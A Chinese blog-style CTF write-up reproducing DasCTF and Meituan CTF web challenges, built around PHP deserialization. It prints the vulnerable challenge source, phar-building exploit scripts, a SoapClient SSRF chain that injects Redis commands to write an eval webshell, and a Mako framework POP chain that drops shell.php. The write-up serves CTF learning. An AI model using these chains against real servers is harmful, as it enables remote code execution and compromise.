DasCTF 十月月赛复现

寄!
四道题,三道我不擅长的反序列化,寄,当时还要考试复习,结果没太多时间做,麻了都。

EasyPop

这题链子好找,也很快就找到了,但问题就在于最后一步如何绕过__wakeup,麻了,我就卡在这里了…….
PHP序列化冷知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}

hade_waibo

进来一看,cancan need任意文件读取,把文件全扒下来,核心实在class.php里面,肯定是phar反序列化
乍一看,又要绕wakeup,不过这一次有引用赋值,可以绕,当时没时间了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}

class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");

public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}

}

#更新了一个恶意又有趣的Test类
class Test
{
public $value;

public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}

}

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

class User
{
public $username;
}
class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->a = $Test;
$User->username = &$Test->value;
echo serialize($User);#第二步,需要把name改成* /*
// $Test->a = $User;
// $User->username = $Test;
// echo serialize($Test);#第一步,需要把名字改成数组
$phar = new \Phar("h3ne1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','h3en1');
//$phar->setMetadata($Test);第一步
$phar->setMetadata($User);
$phar->stopBuffering();

因为给实验室的新生配web靶机的docker环境,当时就顺手看看有没有start.sh或者flag.sh文件,然后就还真找到了

事实证明,docker运行之后,要删除的不只有环境变量,还有运行的sh脚本,谨防露牛子

start.sh

1
2
3
4
5
6
7
#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null

直接露牛子了吧

EasyLove

当时急着复习,这题我没看了….寄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
  <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;

public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}

public function flag(){
$this->love->getflag();
}

public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
class hint{
public $hint;
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
$hello = $_GET['hello'];
$world = unserialize($hello);

这回链子很短,先看hint

1
2
3
4
5
6
7
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=";
}
$a = new hint();
echo serialize($a);
?>

获得账号密码

1
2
3
<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?

很明显,利用SoapClient进行ssrf然后打redis 寄,还是不会
这里也看一下怎么打redis

这里比较有趣的是,当我们利用ssrf向redis发起http请求时,低版本的Redis会将请求头的内容作为redis命令解析,那么只要我们通过CRLF控制住请求头,再配合SoapClient发起请求即可,故exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
public $wllm = 'SoapClient';
public $arsenetang = null;
public $l61q4cheng;
public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>

确实要学学Redis咋用了,这都看不懂

BlogSystem

这是个好题,我慢慢品一品再来做,太多涉及到我知识盲区的东西了

  

美团CTF决赛复现 mako

太菜了,被大佬带进决赛了,最后就签个到

环境

密码:1skr

下面部分是我在比赛的时候思考过的

1.开始

页面一进来,十分的清爽,毛都没有,就一个上传文件的东西

随便传点东西,发现是来者不拒,啥都能传,但啥都干不了

访问1.php只会出现404not found这是最令人异或的一点

因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里

可以看见,文件并没有被上传到/var/www/html/这个目录下面

而文件被上传到了/var/www/html/mako/uploads这个目录下

可以肯定的是,文件上传是整不了活了

2.审计

通过搜索关键词,在mako/app/reources/views/home.tpl.php里找到到了首页的源码

很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。

这就很令人苦恼,我当时尝试了一下,使用软链接

直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序

目标也明确了,肯定得想办法执行readFlag,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发

做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize,结果是毛都没搜到。

我经验太少了,当时没想到用phar

3.复现

mako/app/controllers/ImagesController.php文件中

1
2
3
4
5
6
7
8
9
public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}

可以看到,文件名是不做任何过滤的

而在mako/vendo/mako/framework/src/mako/pixl/image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;

$this->processor = $processor;

// Make sure that the image exists

if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}

// Set the image

$this->processor->open($image);
}

使用了能触发phar反序列化的file_exists函数

关键函数找到了,现在找链子吧

搜索__destruct(),干扰项不多,可以直接开撸

好家伙,我直接好家伙,一条龙服务了属于是qwq

4.攻击

这里搬一手Arr3stY0u战队的poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

<?php
namespace mako\file{
class FileSystem{
}
}

namespace mako\session\stores{
use mako\file\FileSystem;

class File{
protected $fileSystem;
protected $sessionPath;

public function __construct(){
$this->fileSystem = new FileSystem();
$this->sessionPath = '/var/www/mako/public/';
}
}
}

namespace mako\session{
use mako\session\stores\File;

class Session{
protected $autoCommit;
protected $destroyed = false;
protected $sessionId;
protected $sessionData = [];
protected $store;

public function __construct(){
$this->autoCommit = true;
$this->destroyed = false;
$this->store = new File();
$this->sessionId = 'shell.php';
$this->sessionData = ['a'=>'<?php eval($_POST[1]);?>'];
}
}
}

namespace {
$exp = new mako\session\Session();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exp);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
};

上传文件

getshell

flag is here

5.总结反思

经验不足,做题不够,欠练


:D 一言句子获取中...